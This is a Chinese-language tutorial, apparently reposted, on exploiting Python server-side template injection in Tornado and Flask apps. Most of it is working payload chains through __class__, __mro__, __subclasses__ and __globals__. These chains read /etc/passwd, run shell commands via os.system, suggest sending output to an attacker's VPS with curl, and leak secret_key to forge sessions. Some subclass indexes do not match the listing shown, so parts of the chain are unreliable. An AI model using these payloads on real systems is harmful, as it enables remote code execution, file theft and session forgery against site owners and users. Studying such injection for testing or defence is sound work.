python SSTI利用


原理
python的SSTI不僅可以向網頁插入一些XSS代碼,而且還可以獲取一些變量和函數信息,尤其是secret_key,如果獲取到則可以對flask框架的session可以進行偽造。
對於tornado框架,render(request, 'account/login.html', {'error': error_msg}如果error_msg用戶可控,那么就存在注入。
如果error_msg為<script>alert(1)</script>,如果沒有過濾則會執行XSS
如果error_msg為{{data}}的話,data則可以執行一些簡單的表達式和獲取變量,例如:
用戶輸入error_msg:{{1+1}} 頁面則返回:2
對於flask框架,有時需要根據需要對頁面進行顯示類中的一些屬性,例如用戶傳入name則返回類中name屬性,傳入id返回類中id屬性的話,那么就可以利用一些魔術方法獲得全局變量,例如:
對於返回的是定義的Class內的話:
__dict__   //返回類中的函數和屬性,父類子類互不影響
__base__ //返回類的父類 python3
__mro__ //返回類繼承的元組,(尋找父類) python3
__init__ //返回類的初始化方法   
__subclasses__()  //返回類中仍然可用的引用  python3
__globals__  //對包含函數全局變量的字典的引用 python3
對於返回的是類實例的話:
__class__ //返回實例的對象,可以使類實例指向Class,使用上面的魔術方法

對於tornado render注入類似的利用
一。任意文件讀取
①{{' '.__class__}}        //  <class 'str'>
②{{' '.__class__.__mro__}}  // (<class 'str'>, <class 'object'>)
③{{' '.__class__.__mro__[1].__subclasses__()}}  //取到object類的子類,如下:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '__main__.Parent'>]
④{{' '.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} //取到<type 'file'>讀取文件
二。命令執行
①{{' '.__class__.__mro__[1].__subclasses__()}}  //和前面一樣先取到object類的子類
②{{' '.__class__.__mro__[2].__subclasses__()[119].__init__}} //取到<class '_sitebuiltins._Printer'>__init__的地址
③{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__}}//獲得<class '_sitebuiltins._Printer'>類的所有的全局變量
④{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__['os'].system('ls')}} //找到os類執行代碼,注:自身實驗不存在,視情況而定,命令執行結果無法直接看到,可以用curl將結果發送到vps
上面例子的實際運用:
在一般情況下,模板注入的地方都是位於服務端構造的一個類內,所以可以用
1.__class__.__init__.__globals__  //獲得當前類的全局變量
2.__class__.__mro__   //查看所有的類,再用__class__.__mro__[number].__init__.__globals__查看變量
3.__class__.__init__.__globals__[app].__dict__ //查看內部的詳細信息
如果獲得secret_key就可以偽造session


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM